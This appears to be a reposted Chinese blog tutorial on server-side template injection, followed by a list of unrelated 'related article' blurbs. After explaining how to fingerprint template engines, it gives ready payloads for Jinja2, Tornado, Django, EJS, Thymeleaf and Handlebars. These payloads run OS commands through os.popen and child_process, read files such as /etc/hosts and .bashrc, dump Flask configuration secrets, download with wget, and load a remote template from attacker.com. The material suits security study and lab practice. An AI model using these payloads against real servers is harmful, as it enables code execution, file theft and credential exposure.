ssti学习笔记(服务器端模板注入)

目录

一,ssti是什么

二,原理

所谓模板引擎(三列,可滑动查看)

 三,漏洞复现

1,如何判断其所属的模板引擎?

2,判断清楚后开始注入

(1)Jinja2(Python)

针对 Flask 应用的攻击

读取文件

执行系统命令

加载并执行 Python 模块

(2),Tornado 模板引擎(Python)

信息获取类

读取文件

(3)Django 模板引擎(Python)

利用视图传递对象属性

绕过过滤器限制(若存在)

(4),EJS(JavaScript,用于 Node.js 的 Express 框架)

读取文件

执行系统命令

(5),Thymeleaf(Java,常用于 Spring Boot)

利用 Java 反射执行代码

利用 Spring 上下文获取 Bean

(6),Handlebars(JavaScript)

结合动态部分模板加载漏洞

结合 JavaScript 注入(若与 JavaScript 交互)


一,ssti是什么

SSTI 通常是指服务器端模板注入攻击者可以利用该漏洞在服务器端注入恶意代码或命令,从而执行非授权的操作、获取敏感信息或控制服务器

二,原理

  • 模板引擎的作用是将模板数据结合起来生成最终的 HTML 页面或其他格式的文档。正常情况下,用户输入的数据会被模板引擎按照一定的规则进行处理和显示,以确保数据的安全性和正确性。
  • 但当应用程序存在 SSTI 漏洞时,攻击者可以通过精心构造输入数据,使其被模板引擎当作代码来执行。例如,攻击者可能会在一个评论框或搜索框中输入特定的代码片段,如果应用程序没有对输入进行充分的验证和过滤,模板引擎就可能会执行这些恶意代码,从而导致漏洞被利用。

示例:搜索框中触发ssti

url处的划线部分是编码后的{ {6*6}} ,出现36便证明了页面存在ssti漏洞

所谓模板引擎

编程语言web框架模板引擎
PythonFlaskJinja2
PythonTornadoTornado 模板引擎
PythonDjangoDjango模板引擎
JavaSpring BootThymeleaf
JavaStruts2FreeMarker
JavaScriptExpress(Node.js)EJS
JavaScriptHapi(Node.js)Handlebars
PHPSymfonyTwig
PHPCodeIgniterSmarty

不同编程语言有不同的 Web 框架,每个 Web 框架对应一个模板引擎。 

注意:Tornado不但是一个框架,还是个web服务器(表中橙色那个)

 三,漏洞复现

Web 安全漏洞中遇到服务器端模板注入,需要先判断模板引擎,再根据模板引擎来构造输入。

1,如何判断其所属的模板引擎?

(1),Jinja2(Python)

简单表达式测试:输入 { { 5 + 3 }},若页面返回 8,可能是Jinja2

控制结构测试:输入 {% for i in range(3) %}{ { i }}{% endfor %},若页面输出 012,进一步表明是Jinja2

过滤器测试:输入 { { 'hello'|upper }},若页面返回 HELLO,符合Jinja2语法

(2),Tornado 模板引擎(Python) 

表达式测试:输入 { { 5 + 3 }},若页面返回 8,可能是Tornado模板引擎。

逻辑控制测试:输入 {% for i in [0, 1, 2] %}{ { i }}{% end %},若页面输出 012,符合Tornado语法。

(3), Django 模板引擎(Python)

简单表达式与过滤器测试:输入 { { 5|add:3 }},若页面返回 8,可能是Django模板引擎

逻辑判断测试:输入 {% if 5 > 3 %}True{% else %}False{% endif %},若页面返回 True,符合Django语法。

(4),EJS(JavaScript,用于Node.js的Express框架)

表达式输出测试:输入 <%= 5 + 3 %>,若页面返回 8,可能是EJS。

 JavaScript代码嵌入测试:输入<% for (let i = 0; i < 3; i++) { %><%= i %><% } %>,若页面输出 012,符合EJS语法。

(5),Thymeleaf(Java,常用于Spring Boot)

变量表达式测试:输入 ${5 + 3},若页面返回 8,可能是Thymeleaf。

条件判断测试(使用Thymeleaf属性):输入(在HTML标签中) <p th:if="${5 > 3}">True</p>,若页面显示 True,符合Thymeleaf语法。

(6),Handlebars(JavaScript)

变量输出测试:输入 { { someVariable }}(假设传递了 someVariable变量),若页面显示该变量的值,可能是Handlebars。

部分模板调用测试:输入 { {> partialTemplate }}(假设定义了 partialTemplate 部分模板),若页面正确渲染部分模板内容,则是Handlebars。
 

2,判断清楚后开始注入

(1)Jinja2(Python)

针对 Flask 应用的攻击
  • 读取 Flask 应用的 FLAG
    • 输入:{ { url_for.__globals__['current_app'].config['FLAG'] }}
    • 原理:url_for 是 Flask 函数,__globals__ 指向其全局命名空间,current_app 是 Flask 应用实例,config 存储配置信息,攻击者借此获取敏感的 FLAG
  • 执行任意 Python 代码(通过导入模块)
    • 输入:{ { url_for.__globals__['__import__']('os').popen('ls /').read() }}
    • 原理:利用 __import__ 动态导入 os 模块,用 os.popen 执行系统命令 ls / 并读取输出。
  • 获取 Flask 应用的所有配置项
    • 输入:{ { url_for.__globals__['current_app'].config.items() }}
    • 原理:访问 config.items() 获取 Flask 应用所有配置项及对应值,可能包含数据库连接信息、API 密钥等敏感信息。
读取文件
  • 读取 /etc/hosts 文件
    • 输入:{ { ''.__class__.__mro__[2].__subclasses__()[40]('/etc/hosts').read() }}
    • 原理:与读取 /etc/passwd 类似,通过 Python 内置对象和方法定位到文件操作类,读取指定文件内容。
  • 动态指定文件路径
    • 输入:{ { request.args.file|string.__class__.__mro__[2].__subclasses__()[40](request.args.file).read() }}?file=/etc/hosts
    • 原理:利用请求参数动态指定要读取的文件路径,增加攻击的灵活性。
执行系统命令
  • 查看当前工作目录
    • 输入:{ { ''.__class__.__mro__[2].__subclasses__()[132].__init__.__globals__['os'].popen('pwd').read() }}
    • 原理:使用 os.popen 执行 pwd 命令,返回当前工作目录。
  • 查看系统进程信息
    • 输入:{ { ''.__class__.__mro__[2].__subclasses__()[132].__init__.__globals__['os'].popen('ps -ef').read() }}
    • 原理:执行 ps -ef 命令,查看系统中所有进程的详细信息。
加载并执行 Python 模块
  • 导入并执行 socket 模块
    • 输入:{ { ''.__class__.__mro__[2].__subclasses__()[132].__init__.__globals__['__import__']('socket').gethostname() }}
    • 原理:通过 __import__ 函数动态导入 socket 模块,然后调用 gethostname 方法获取主机名。

    (2),Tornado 模板引擎(Python)

    信息获取类
    • 获取应用配置信息
      • 输入:{ { handler.settings }}
      • 原理:在 Tornado 框架里,handler 通常指继承自 tornado.web.RequestHandler 的请求处理类实例,settings 是 Tornado 应用程序的配置设置对象。此表达式可输出当前请求处理类实例所关联的应用配置信息,若配置信息包含敏感内容,直接输出会导致信息泄露。
    • 获取请求相关信息
      • 输入:{ { handler.request }}
      • 原理:handler.request 包含了客户端请求的详细信息,如请求方法、请求头、请求参数等。攻击者可借此了解请求的上下文,为后续攻击做准备。
    读取文件
    • 读取 /proc/version 文件(获取系统版本信息)
      • 输入:{ { ''.__class__.__mro__[2].__subclasses__()[40]('/proc/version').read() }}
      • 原理:同 Jinja2 读取文件原理,利用 Python 内置对象和方法读取指定文件内容。

    (3)Django 模板引擎(Python)

    利用视图传递对象属性
    • 假设视图传递了 settings 对象获取数据库配置
      • 输入:{ { settings.DATABASES.default }}
      • 原理:尝试访问视图传递的 settings 对象中的数据库配置信息。
    • 假设视图传递了 request 对象获取请求信息
      • 输入:{ { request.META }}
      • 原理:获取请求的元数据信息,可能包含客户端 IP、请求头信息等。
    绕过过滤器限制(若存在)
    • 假设存在一个自定义过滤器限制了输出
      • 输入:{ { 'a'|add:'b'|add:'c' }}
      • 原理:通过多个过滤器组合绕过单一过滤器的限制,拼接字符串。

    (4),EJS(JavaScript,用于 Node.js 的 Express 框架)

    读取文件
    • 读取项目根目录下的 package.json 文件
      • 输入:<% var fs = require('fs'); console.log(fs.readFileSync('./package.json', 'utf8')) %>
      • 原理:使用 Node.js 的 fs 模块读取项目根目录下的 package.json 文件内容。
    • 读取用户主目录下的 .bashrc 文件(Linux 系统)
      • 输入:<% var fs = require('fs'); console.log(fs.readFileSync(process.env.HOME + '/.bashrc', 'utf8')) %>
      • 原理:通过 process.env.HOME 获取用户主目录路径,然后读取 .bashrc 文件内容。
    执行系统命令
    • 创建一个新文件
      • 输入:<% var { execSync } = require('child_process'); execSync('touch /tmp/test.txt') %>
      • 原理:使用 child_process 模块的 execSync 方法执行 touch 命令创建一个新文件。
    • 下载一个文件(使用 wget
      • 输入:<% var { execSync } = require('child_process'); execSync('wget http://example.com/file.txt -O /tmp/downloaded.txt') %>
      • 原理:执行 wget 命令从指定 URL 下载文件并保存到本地。

    (5),Thymeleaf(Java,常用于 Spring Boot)

    利用 Java 反射执行代码
    • 获取系统属性
      • 输入:${T(java.lang.System).getProperties()}
      • 原理:通过 Java 反射调用 System 类的 getProperties 方法获取系统属性。
    • 执行 Java 代码创建文件
      • 输入:${T(java.io.File).createTempFile('test', '.txt')}
      • 原理:使用反射调用 File 类的 createTempFile 方法创建一个临时文件。
    利用 Spring 上下文获取 Bean
    • 假设存在一个名为 userService 的 Bean
      • 输入:${@userService.getUserById(1)}
      • 原理:通过 Spring 表达式语言(SpEL)从 Spring 上下文中获取 userService Bean,并调用其 getUserById 方法。

    (6),Handlebars(JavaScript)

    结合动态部分模板加载漏洞
    • 尝试读取不同目录下的文件
      • 输入:{ {> ../../../../var/log/syslog }}(假设应用未对路径进行严格验证,适用于 Linux 系统)
      • 原理:利用部分模板加载机制,尝试读取系统日志文件。
    • 尝试加载远程文件(若应用存在协议绕过漏洞)
      • 输入:{ {> http://attacker.com/malicious_template.hbs }}
      • 原理:如果应用在加载部分模板时未对 URL 进行严格验证,可能会加载远程恶意模板。
    结合 JavaScript 注入(若与 JavaScript 交互)
    • 假设 Handlebars 模板用于生成 JavaScript 代码
      • 输入:{ { '" + alert("XSS") + "' }}
      • 原理:如果模板输出被嵌入到 JavaScript 代码中,可能会导致 XSS 漏洞,弹出警告框。

    本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/69344.shtml

    如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

    相关文章

    【前端】Python 闭包与JavaScript闭包的实现差异

    目录 Python 闭包JavaScript 闭包 推荐超级课程&#xff1a; Docker快速入门到精通Kubernetes入门到大师通关课AWS云服务快速入门实战 Python 闭包 如何定义&#xff1a; 在一个函数内部定义另一个函数&#xff0c;内部函数引用外部函数的变量。 def outer_function(text):…

    【JVM详解二】常量池

    一、常量池概述 JVM的常量池主要有以下几种&#xff1a; class文件常量池运行时常量池字符串常量池基本类型包装类常量池 它们相互之间关系大致如下图所示&#xff1a; 每个 class 的字节码文件中都有一个常量池&#xff0c;里面是编译后即知的该 class 会用到的字面量与符号引…

    人工智能入门 数学基础 线性代数 笔记

    必备的数学知识是理解人工智能不可或缺的要素&#xff0c;今天的种种人工智能技术归根到底都建立在数学模型之上&#xff0c;而这些数学模型又都离不开线性代数&#xff08;linear algebra&#xff09;的理论框架。 线性代数的核心意义&#xff1a;世间万事万物都可以被抽象成某…

    C# Winform怎么设计串口,客户端和相机控件界面显示

    首先我们必须把这个类创建好 INIAPI using System; using System.Text; using System.Runtime.InteropServices;namespace Ini {public class IniAPI{#region INI文件操作/** 针对INI文件的API操作方法&#xff0c;其中的节点&#xff08;Section)、键&#xff08;KEY&#x…

    在 Windows 上使用 ZIP 包安装 MySQL 的详细步骤

    以下是使用官方 ZIP 包在 Windows 上安装 MySQL 的详细步骤&#xff0c;确保能通过 mysql -uroot -p 成功连接。 步骤 1&#xff1a;下载 MySQL ZIP 包 访问 MySQL 官方下载页面&#xff1a; https://dev.mysql.com/downloads/mysql/选择 Windows (x86, 64-bit), ZIP Archive&…

    el-table表格点击单元格实现编辑

    使用 el-table 和 el-table-column 创建表格。在单元格的默认插槽中&#xff0c;使用 div 显示文本内容&#xff0c;单击时触发编辑功能。使用 el-input 组件在单元格中显示编辑框。data() 方法中定义了 tableData&#xff0c;tabClickIndex: null,tabClickLabel: ,用于判断是否…

    Windows逆向工程入门之汇编环境搭建

    公开视频 -> 链接点击跳转公开课程博客首页 -> ​​​链接点击跳转博客主页 Visual Studio逆向工程配置 基础环境搭建 Visual Studio 官方下载地址安装配置选项(后期可随时通过VS调整) 使用C的桌面开发 拓展可选选项 MASM汇编框架 配置MASM汇编项目 创建新项目 选择空…

    手写一个C++ Android Binder服务及源码分析

    手写一个C Android Binder服务及源码分析 前言一、 基于C语言编写Android Binder跨进程通信Demo总结及改进二、C语言编写自己的Binder服务Demo1. binder服务demo功能介绍2. binder服务demo代码结构图3. binder服务demo代码实现3.1 IHelloService.h代码实现3.2 BnHelloService.c…

    DeepSeekMoE 论文解读:混合专家架构的效能革新者

    论文链接&#xff1a;DeepSeekMoE: Towards Ultimate Expert Specialization in Mixture-of-Experts Language Models 目录 一、引言二、背景知识&#xff08;一&#xff09;MoE架构概述&#xff08;二&#xff09;现有MoE架构的问题 三、DeepSeekMoE架构详解&#xff08;一&a…

    [每周一更]-(第133期):Go中MapReduce架构思想的使用场景

    文章目录 **MapReduce 工作流程**Go 中使用 MapReduce 的实现方式&#xff1a;**Go MapReduce 的特点****哪些场景适合使用 MapReduce&#xff1f;**使用场景1. 数据聚合2. 数据过滤3. 数据排序4. 数据转换5. 数据去重6. 数据分组7. 数据统计8.**统计文本中单词出现次数****代码…

    【C++高并发服务器WebServer】-13:多线程服务器开发

    本文目录 一、多线程服务器开发二、TCP状态转换三、端口复用 一、多线程服务器开发 服务端代码如下。 #include <stdio.h> #include <arpa/inet.h> #include <unistd.h> #include <stdlib.h> #include <string.h> #include <pthread.h>s…

    「vue3-element-admin」告别 vite-plugin-svg-icons!用 @unocss/preset-icons 加载本地 SVG 图标

    &#x1f680; 作者主页&#xff1a; 有来技术 &#x1f525; 开源项目&#xff1a; youlai-mall ︱vue3-element-admin︱youlai-boot︱vue-uniapp-template &#x1f33a; 仓库主页&#xff1a; GitCode︱ Gitee ︱ Github &#x1f496; 欢迎点赞 &#x1f44d; 收藏 ⭐评论 …

    C#中深度解析BinaryFormatter序列化生成的二进制文件

    C#中深度解析BinaryFormatter序列化生成的二进制文件 BinaryFormatter序列化时,对象必须有 可序列化特性[Serializable] 一.新建窗体测试程序BinaryDeepAnalysisDemo,将默认的Form1重命名为FormBinaryDeepAnalysis 二.新建测试类Test Test.cs源程序如下: using System; us…

    深度学习在医疗影像分析中的应用

    引言 随着人工智能技术的快速发展&#xff0c;深度学习在各个领域都展现出了巨大的潜力。特别是在医疗影像分析中&#xff0c;深度学习的应用不仅提高了诊断的准确性&#xff0c;还大大缩短了医生的工作时间&#xff0c;提升了医疗服务的质量。本文将详细介绍深度学习在医疗影像…

    计算机领域QPM、TPM分别是什么并发指标,还有其他类似指标吗?

    在计算机领域&#xff0c;QPM和TPM是两种不同的并发指标&#xff0c;它们分别用于衡量系统处理请求的能力和吞吐量。 QPM&#xff08;每分钟请求数&#xff09; QPM&#xff08;Query Per Minute&#xff09;表示每分钟系统能够处理的请求数量。它通常用于衡量系统在单位时间…

    【安当产品应用案例100集】036-视频监控机房权限管理新突破:安当windows操作系统登录双因素认证解决方案

    一、机房管理痛点&#xff1a;权限失控下的数据泄露风险 在智慧城市与数字化转型浪潮下&#xff0c;视频监控系统已成为能源、金融、司法等行业的核心安防设施。然而&#xff0c;传统机房管理模式中&#xff0c;值班人员通过单一密码即可解锁监控画面的操作漏洞&#xff0c;正…

    Unity抖音云启动测试:如何用cmd命令行启动exe

    相关资料&#xff1a;弹幕云启动&#xff08;原“玩法云启动能力”&#xff09;_直播小玩法_抖音开放平台 1&#xff0c;操作方法 在做云启动的时候&#xff0c;接完发现需要命令行模拟云环境测试启动&#xff0c;所以研究了下。 首先进入cmd命令&#xff0c;CD进入对应包的文件…

    < OS 有关 > 利用 google-drive-ocamlfuse 工具,在 Ubuntu 24 系统上 加载 Google DRIVE 网盘

    Created by Dave On 8Feb.2025 起因&#xff1a; 想下载 StableDiffusion&#xff0c;清理系统文件时把 i/o 搞到 100%&#xff0c;已经删除到 apt 缓存&#xff0c;还差 89MB&#xff0c;只能另想办法。 在网上找能不能挂在 Google 网盘&#xff0c;百度网盘&#xff0c;或 …

    【LITS游戏——暴力DFS+剪枝优化】

    题目 代码 #include <bits/stdc.h> using namespace std; using pll pair<int, int>; #define x first #define y second const int N 51; pll d[4][4][4] {{{{0, 0}, {1, 0}, {2, 0}, {2, 1}}, {{0, 0}, {1, 0}, {1, -1}, {1, -2}}, {{0, 0}, {0, 1}, {1, 1},…

    Redisson全面解析:从使用方法到工作原理的深度探索

    文章目录 写在文章开头详解Redisson基本数据类型基础配置字符串操作列表操作映射集阻塞队列延迟队列更多关于Redisson详解Redisson 中的原子类详解redisson中的发布订阅模型小结参考写在文章开头 Redisson是基于原生redis操作指令上进一步的封装,屏蔽了redis数据结构的实现细…